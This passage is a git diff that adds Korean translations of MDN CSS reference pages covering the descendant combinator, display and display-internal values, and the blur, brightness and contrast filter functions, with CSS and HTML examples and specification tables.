+<p>와 같은 값도 MSIE에선 작동할 것입니다. 그러나 이런 값은 Gecko에선 작동하지 않을 것입니다. Gecko와의 호환성을 위해서 또 CSS규약에 따라, 항상 URL 리스트를 먼저 나열하시고, 정확히 하나의 키워드 값을 그 뒤에 사용하십시오.</p>
+
+<h3 id="To-do" name="To-do">To-do</h3>
+
+<dl>
+ <dd><em>To-do: document what MSIE does with CSS 3 hotspot locations</em></dd>
+</dl>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<p>{{ languages( { "ja": "ja/Using_URL_values_for_the_cursor_property" } ) }}</p>
diff --git a/files/ko/web/css/descendant_combinator/index.html b/files/ko/web/css/descendant_combinator/index.html
new file mode 100644
index 0000000000..2d351f2c8e
--- /dev/null
+++ b/files/ko/web/css/descendant_combinator/index.html
@@ -0,0 +1,108 @@
+---
+title: 자손 결합자
+slug: Web/CSS/Descendant_combinator
+tags:
+  - CSS
+  - Reference
+  - Selectors
+translation_of: Web/CSS/Descendant_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><span class="seoSummary">보통 한 칸의 공백 문자로 표현하는 <strong>자손 결합자</strong>(<code> </code>)는 두 개의 선택자를 조합하여, 뒤쪽 선택자 요소의 조상(부모, 부모의 부모, 부모의 부모의 부모...)에 앞쪽 선택자 요소가 존재할 경우 선택합니다.</span> 자손 결합자를 활용하는 선택자를 자손 선택자라고 부릅니다.</p>
+
+<pre class="brush: css no-line-numbers">/* List items that are descendants of the "my-things" list */
+ul.my-things li {
+  margin: 2em;
+}</pre>
+
+<p>기술적으로, 자손 결합자는 하나 이상의 {{Glossary("CSS")}} 공백 문자이므로 스페이스 외에도 캐리지 리턴, 폼 피드, 새 줄, 탭 문자도 해당합니다. 또한 결합자를 구성하는 공백 문자는 CSS 주석을 임의의 개수만큼 포함할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>selector1</var> <var>selector2</var> {
+  <var>/* property declarations */</var>
+}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li {
+  list-style-type: disc;
+}
+
+li li {
+  list-style-type: circle;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;
+    &lt;div&gt;Item 1&lt;/div&gt;
+    &lt;ul&gt;
+      &lt;li&gt;Subitem A&lt;/li&gt;
+      &lt;li&gt;Subitem B&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;div&gt;Item 2&lt;/div&gt;
+    &lt;ul&gt;
+      &lt;li&gt;Subitem A&lt;/li&gt;
+      &lt;li&gt;Subitem B&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 160)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#descendant-combinators", "descendant combinator")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html#descendant-selectors", "descendant selectors")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#contextual-selectors", "contextual selectors")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.descendant")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Child_combinator">자식 결합자</a></li>
+</ul>
diff --git a/files/ko/web/css/display-internal/index.html b/files/ko/web/css/display-internal/index.html
new file mode 100644
index 0000000000..8aea8a152b
--- /dev/null
+++ b/files/ko/web/css/display-internal/index.html
@@ -0,0 +1,131 @@
+---
+title: <display-internal>
+slug: Web/CSS/display-internal
+tags:
+  - CSS
+  - CSS 데이터 타입
+  - CSS 디스플레이
+  - display-internal
+  - 자료형
+  - 참조
+translation_of: Web/CSS/display-internal
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><code>table</code>과 <code>ruby</code> 같은 몇몇 레이아웃 모델은 복잡한 내부 구조를 가지고 있으며, 자식이나 자손들로 채울 수 있는 다양한 역할을 가지고 있습니다. 이 페이지는 이러한 "내재적인" 디스플레이 값을 정의하며, 이들은 특정 레이아웃 모드 안에서만 의미를 가집니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<p>유효한 <code>&lt;display-internal&gt;</code> 값들:</p>
+
+<dl>
+ <dt><code>table-row-group</code></dt>
+ <dd>이 요소는 {{HTMLElement("tbody")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-header-group</code></dt>
+ <dd>이 요소는 {{HTMLElement("thead")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-footer-group</code></dt>
+ <dd>이 요소는 {{HTMLElement("tfoot")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-row</code></dt>
+ <dd>이 요소는 {{HTMLElement("tr")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-cell</code></dt>
+ <dd>이 요소는 {{HTMLElement("td")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-column-group</code></dt>
+ <dd>이 요소는 {{HTMLElement("colgroup")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-column</code></dt>
+ <dd>이 요소는 {{HTMLElement("col")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>table-caption</code></dt>
+ <dd>이 요소는 {{HTMLElement("caption")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>ruby-base</code> {{Experimental_Inline}}</dt>
+ <dd>이 요소는 {{HTMLElement("rb")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>ruby-text</code> {{Experimental_Inline}}</dt>
+ <dd>이 요소는 {{HTMLElement("rt")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>ruby-base-container</code> {{Experimental_Inline}}</dt>
+ <dd>이 요소는 익명의 박스로 만들어지는 {{HTMLElement("rbc")}} HTML 요소처럼 동작합니다.</dd>
+ <dt><code>ruby-text-container</code> {{Experimental_Inline}}</dt>
+ <dd>이 요소는 {{HTMLElement("rtc")}} HTML 요소처럼 동작합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS_테이블의_예시">CSS 테이블의 예시</h3>
+
+<p>다음 예시에서는 CSS 테이블 레이아웃을 이용해 간단한 폼을 배치합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;main&gt;
+  &lt;div&gt;
+    &lt;label for="name"&gt;Name&lt;/label&gt;
+    &lt;input type="text" id="name" name="name"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="age"&gt;Age&lt;/label&gt;
+    &lt;input type="text" id="age" name="age"&gt;
+  &lt;/div&gt;
+&lt;/main&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">main {
+  display: table;
+}
+
+div {
+  display: table-row;
+}
+
+label, input {
+  display: table-cell;
+  margin: 5px;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('CSS_tables_example', '100%', 100)}}</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양</th>
+   <th scope="col">상태</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Display', '#typedef-display-internal', 'display-internal')}}</td>
+   <td>{{Spec2('CSS3 Display')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터로부터 생성되었습니다. 데이터에 기여하시려면, <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 확인한 뒤 저희에게 풀 리퀘스트를 보내주세요.</div>
+
+<h3 id="Table_관련_값의_지원">Table 관련 값의 지원</h3>
+
+<p><code>table</code>, <code>table-cell</code>, <code>table-column</code>, <code>table-column-group</code>, <code>table-footer-group</code>, <code>table-header-group</code>, <code>table-row</code>, <code>table-row-group</code></p>
+
+<p>{{Compat("css.properties.display.table_values", 10)}}</p>
+
+<h3 id="Ruby_관련_값의_지원">Ruby 관련 값의 지원</h3>
+
+<p><code>ruby</code>, <code>ruby-base</code>, <code>ruby-base-container</code>, <code>ruby-text</code>, <code>ruby-text-container</code></p>
+
+<p>{{Compat("css.properties.display.ruby_values", 10)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef("display")}}
+  <ul>
+   <li>{{CSSxRef("&lt;display-outside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-inside&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-listitem&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-box&gt;")}}</li>
+   <li>{{CSSxRef("&lt;display-legacy&gt;")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/css/display/index.html b/files/ko/web/css/display/index.html
new file mode 100644
index 0000000000..559a1bf4a2
--- /dev/null
+++ b/files/ko/web/css/display/index.html
@@ -0,0 +1,234 @@
+---
+title: display
+slug: Web/CSS/display
+tags:
+  - CSS
+  - CSS Display
+  - CSS Property
+  - Reference
+  - display
+translation_of: Web/CSS/display
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong><code>display</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소를 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout">블록과 인라인</a> 요소 중 어느 쪽으로 처리할지와 함께, <a href="/ko/docs/Web/CSS/CSS_Flow_Layout">플로우</a>, <a href="/ko/docs/Web/CSS/CSS_Grid_Layout">그리드</a>, <a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">플렉스</a>처럼 자식 요소를 배치할 때 사용할 레이아웃을 설정합니다.</p>
+
+<p class="summary"><code>display</code> 속성은, 형식적으로는 요소의 내부와 외부 디스플레이 유형을 설정합니다. 외부 디스플레이 유형은 플로우 레이아웃에 요소가 참여하는 방법을 나타내고, 내부 디스플레이 유형은 자식의 레이아웃 방식을 설정합니다. <code>display</code>의 일부 값은 자신만의 명세를 가지고 있습니다. 이 문서의 끝에서 찾을 수 있는 명세표를 참고하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>display</code> 속성은 키워드 값을 사용해 지정합니다. 키워드는 6개의 카테고리로 분류할 수 있습니다.</p>
+
+<pre>.container {
+  display: &lt;display-keyword&gt;;
+}
+</pre>
+
+<h3 id="바깥쪽">바깥쪽</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-outside&gt;")}}</dt>
+ <dd>요소의 외부 디스플레이 유형을 설정하는 키워드입니다. 외부 디스플레이 유형은 플로우 레이아웃에서 요소 자신의 역할과 마찬가지입니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-outside", "Syntax")}}</p>
+
+<h3 id="안쪽">안쪽</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-inside&gt;")}}</dt>
+ <dd>요소의 내부 디스플레이 유형을 설정하는 키워드입니다. 내부 디스플레이 유형은 대체 요소가 아닌 요소의 콘텐츠 서식과 배치 방법을 나타냅니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-inside", "Syntax")}}</p>
+
+<h3 id="리스트_아이템">리스트 아이템</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;display-listitem&gt;")}}</dt>
+ <dd>요소가 콘텐츠 블록 박스를 생성하고, 리스트 아이템 인라인 박스를 분리합니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-listitem", "Syntax")}}</p>
+
+<h3 id="내부적">내부적</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;display-internal&gt;")}}</dt>
+ <dd><code>table</code>, <code>ruby</code> 등 일부 레이아웃 모델은 복잡한 내부 구조를 가지며, 자식과 자손이 채워넣을 여러가지 역할을 지닙니다. 이 항목은 그런 특정 레이아웃 모드에서만 의미를 갖는 "내부적"인 값을 정의합니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-internal", "Syntax")}}</p>
+
+<h3 id="박스">박스</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-box&gt;")}}</dt>
+ <dd>요소의 디스플레이 박스를 생성해야 하는지 지정합니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-box", "Syntax")}}</p>
+
+<h3 id="레거시">레거시</h3>
+
+<dl>
+ <dt>{{CSSxRef("&lt;display-legacy&gt;")}}</dt>
+ <dd>CSS 2는 <code>display</code> 속성에 단일 키워드만 사용했으므로, 같은 레이아웃 모드를 위해 블록 레벨과 인라인 레벨 키워드를 각각 필요로 했습니다.</dd>
+</dl>
+
+<p>{{page("/ko/docs/Web/CSS/display-legacy", "Syntax")}}</p>
+
+<p>The Level 3 specification details two values for the <code>display</code> property — enabling the specification of the outer and inner display type explicitly — but this is not yet well-supported by browsers.</p>
+
+<p>The display-legacy methods allow the same results with single keyword values, and should be favoured by developers until the two keyword values are better supported. For example, using two values you might specify an inline flex container as follows:</p>
+
+<pre class="brush: css">.container {
+  display: inline flex;
+}</pre>
+
+<p>This can currently be specified using a single value.</p>
+
+<pre class="brush: css">.container {
+  display: inline-flex;
+}
+</pre>
+
+<h3 id="전역">전역</h3>
+
+<pre class="brush: css">display: inherit;
+display: initial;
+display: unset;
+</pre>
+
+<h2 id="안내서_및_예제">안내서 및 예제</h2>
+
+<p>The individual pages for the different types of value that <code>display</code> can have set on it feature multiple examples of those values in action — see the {{anch("Syntax")}} section. In addition, see the following material, which covers the various values of display in depth.</p>
+
+<h3 id="CSS_Flow_Layout_display_block_display_inline">CSS Flow Layout (<code>display: block</code>, <code>display: inline</code>)</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow">Flow Layout and Overflow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">Flow Layout and Writing Modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting Contexts Explained</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a></li>
+</ul>
+
+<h3 id="display_flex"><code>display: flex</code></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic concepts of flexbox</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning Items in a Flex Container</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of Flex Items Along the Main Axis</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins">Cross-browser Flexbox mixins</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering Wrapping of Flex Items</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering Flex Items</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relationship of flexbox to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Backwards Compatibility of Flexbox</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Typical use cases of Flexbox</a></li>
+</ul>
+
+<h3 id="display_grid"><code>display: grid</code></h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basic Concepts of Grid Layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+</ul>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="display_none"><code>display: none</code></h3>
+
+<p>Using a <code>display</code> value of <code>none</code> on an element will remove it from the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a>. This will cause the element and all its descendant elements to no longer be announced by screen reading technology.</p>
+
+<p>If you want to visually hide the element, a more accessible alternative is to use <a class="external" href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">a combination of properties</a> to remove it visually from the screen but keep it parseable by assistive technology such as screen readers.</p>
+
+<h3 id="display_contents"><code>display: contents</code></h3>
+
+<p>Current implementations in most browsers will remove from the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> any element with a <code>display</code> value of <code>contents</code> (but descendants will remain). This will cause the element itself to no longer be announced by screen reading technology. This is incorrect behavior according to the <a href="https://drafts.csswg.org/css-display/#valdef-display-contents">CSS specification</a>.</p>
+
+<ul>
+ <li><a class="external" href="https://hiddedevries.nl/en/blog/2018-04-21-more-accessible-markup-with-display-contents">More accessible markup with display: contents | Hidde de Vries</a></li>
+ <li><a class="external" href="http://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html">Display: Contents Is Not a CSS Reset | Adrian Roselli</a></li>
+</ul>
+
+<h3 id="Tables">Tables</h3>
+
+<p>Changing the <code>display</code> value of a {{HTMLElement("table")}} element to <code>block</code>, <code>grid</code>, or <code>flex</code> will alter its representation in the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a>. This will cause the table to no longer be announced properly by screen reading technology.</p>
+
+<ul>
+ <li><a class="external" href="https://developer.paciellogroup.com/blog/2018/03/short-note-on-what-css-display-properties-do-to-table-semantics/">Short note on what CSS display properties do to table semantics — The Paciello Group</a></li>
+ <li><a class="external" href="https://gomakethings.com/hidden-content-for-better-a11y/">Hidden content for better a11y | Go Make Things</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a class="external" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}</td>
+   <td>{{Spec2('CSS3 Display')}}</td>
+   <td>Added <code>run-in</code>, <code>flow</code>, <code>flow-root</code>, <code>contents</code>, and multi-keyword values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}</td>
+   <td>{{Spec2('CSS3 Ruby')}}</td>
+   <td>Added <code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, and <code>ruby-text-container</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}</td>
+   <td>{{Spec2('CSS3 Grid')}}</td>
+   <td>Added the grid box model values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Added the flexible box model values.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Added the table model values and <code>inline-block<em>.</em></code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#display', 'display')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition. Basic values: <code>none</code>, <code>block</code>, <code>inline</code>, and <code>list-item</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.display", 10)}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting contexts explained</a></li>
+ <li>{{CSSxRef("visibility")}}, {{CSSxRef("float")}}, {{CSSxRef("position")}}</li>
+ <li>{{CSSxRef("grid")}}, {{CSSxRef("flex")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter-function/blur()/index.html b/files/ko/web/css/filter-function/blur()/index.html
new file mode 100644
index 0000000000..e995c42c68
--- /dev/null
+++ b/files/ko/web/css/filter-function/blur()/index.html
@@ -0,0 +1,40 @@
+---
+title: blur()
+slug: Web/CSS/filter-function/blur()
+tags:
+  - CSS
+  - CSS Function
+  - Filter Effects
+  - Reference
+translation_of: Web/CSS/filter-function/blur()
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong><code>blur()</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 함수는 주어진 이미지에 <a href="https://en.wikipedia.org/wiki/Gaussian_blur">가우시안 블러</a>를 적용합니다</span>. 반환 값은 {{cssxref("&lt;filter-function&gt;")}}입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-blur.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">blur(<em>radius</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>radius</code></dt>
+ <dd>{{cssxref("&lt;length&gt;")}}로 지정한 블러 효과의 지름. 가우시안 함수의 표준 편차, 즉 화면에 보이는 픽셀의 색상이 어느 범위까지 섞일지를 지정합니다. 따라서 큰 값은 이미지를 더 흐리게 만듭니다. <code>0</code>은 주어진 입력 결과를 그대로 반환합니다. 보간 시, 누락 값은 0입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">blur(0)        /* 변화 없음 */
+blur(8px)      /* 8px 블러 */
+blur(1.17rem)  /* 1.17rem 블러 */</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter-function/brightness()/index.html b/files/ko/web/css/filter-function/brightness()/index.html
new file mode 100644
index 0000000000..1fe4b03327
--- /dev/null
+++ b/files/ko/web/css/filter-function/brightness()/index.html
@@ -0,0 +1,41 @@
+---
+title: brightness()
+slug: Web/CSS/filter-function/brightness()
+tags:
+  - CSS
+  - CSS Function
+  - Filter Effects
+  - Reference
+translation_of: Web/CSS/filter-function/brightness()
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong><code>brightness()</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 함수는 주어진 이미지에 선형 계수를 적용해 더 밝거나 어둡게 만듭니다.</span> 반환 값은 {{cssxref("&lt;filter-function&gt;")}}입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-brightness.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">brightness(<em>amount</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>amount</code></dt>
+ <dd>{{cssxref("&lt;number&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}로 지정한, 결과물의 밝기. <code>100%</code> 미만의 값은 이미지를 어둡게 만들고, <code>100%</code>를 초과하는 값은 밝게 합니다. <code>0%</code>는 이미지를 완전한 검은색으로 바꾸고 <code>100%</code>는 주어진 입력 이미지를 그대로 반환합니다. 보간 시, 누락 값은 <code>1</code>입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">brightness(0%)   /* 완전한 검정 */
+brightness(0.4)  /* 40% 밝기 */
+brightness(1)    /* 변화 없음 */
+brightness(200%) /* 두 배 밝기 */</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter-function/contrast()/index.html b/files/ko/web/css/filter-function/contrast()/index.html
new file mode 100644
index 0000000000..19828a4bbb
--- /dev/null
+++ b/files/ko/web/css/filter-function/contrast()/index.html
@@ -0,0 +1,41 @@
+---
+title: contrast()
+slug: Web/CSS/filter-function/contrast()
+tags:
+  - CSS
+  - CSS Function
+  - Filter Effects
+  - Reference
+translation_of: Web/CSS/filter-function/contrast()
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><code><strong>contrast()</strong></code> <a href="/ko/docs/Web/CSS">CSS</a> 함수는 주어진 이미지의 대비를 조절합니다.</span> 반환 값은 {{cssxref("&lt;filter-function&gt;")}}입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-contrast.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">contrast(<em>amount</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>amount</code></dt>
+ <dd>{{cssxref("&lt;number&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}로 지정한, 결과물의 대비. <code>100%</code> 미만의 값은 이미지의 대비를 낮추고, <code>100%</code>를 초과하는 값은 높입니다. <code>0%</code>는 이미지를 완전히 회색으로 바꾸고 <code>100%</code>는 입력 이미지를 그대로 반환합니다. 보간 시, 누락 값은 <code>1</code>입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">contrast(0)     /* 완전히 회색 */
+contrast(65%)   /* 대비 65% */
+contrast(1)     /* 변화 없음 */
+contrast(200%)  /* 대비 두 배 */</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/ko/web/css/filter-function/index.html b/files/ko/web/css/filter-function/index.html
new file mode 100644
index 0000000000..ee62fc49f6
--- /dev/null
+++ b/files/ko/web/css/filter-function/index.html
@@ -0,0 +1,210 @@
+---
+title: <filter-function>
+slug: Web/CSS/filter-function
+tags:
+  - CSS
+  - CSS Data Type
+  - Filter Effects
+  - Reference
+translation_of: Web/CSS/filter-function
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <code><strong>&lt;filter-function&gt;</strong></code> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 입력 이미지의 모습을 변형할 수 있는 그래픽 효과를 나타냅니다.</span> {{cssxref("filter")}}와 {{cssxref("backdrop-filter")}} 속성에서 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
